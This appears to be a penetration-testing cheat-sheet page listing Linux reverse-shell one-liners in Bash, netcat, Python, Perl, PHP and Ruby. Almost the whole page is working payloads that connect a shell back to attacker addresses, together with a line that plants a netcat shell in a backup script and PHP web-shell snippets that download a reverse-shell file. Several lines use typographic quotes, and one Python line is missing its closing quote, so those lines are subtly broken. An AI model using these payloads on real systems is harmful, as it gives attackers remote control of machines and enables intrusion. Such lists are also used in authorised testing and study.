Linux Reverse Shell
This page is going to show the generation of reverse shell payload for Linux environment.

Bash Shell Script

1
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
2
3
#NetCat
4
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.119.179 1234 >/tmp/f" >> user_backups.sh
5
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 192.168.119.179 1234 >/tmp/f
6
nc -e /bin/sh 10.0.0.1 1234
7
Copied!

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.19.40\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
2
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Copied!

Perl

1
perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
Copied!

PHP

1
php -r ‘$sock=fsockopen(“192.168.100.113”,4444);exec(“/bin/sh -i <&3 >&3 2>&3”);’
Copied!
1
<?php echo shell_exec("/usr/local/bin/wget http://10.11.0.X:80/php-reverse-shell.php -O /var/tmp/shell.php 2>&1");?>
2
<?php echo shell_exec("bash -i >& /dev/tcp/10.11.0.X/1337 0>&1");?>
3
<?php echo shell_exec("cd /tmp;chmod +x nc;./nc -c '/bin/bash -i 2>&1' 192.168.119.230 444"); ?>
Copied!

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.11.0.123",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Copied!
Last modified 1yr ago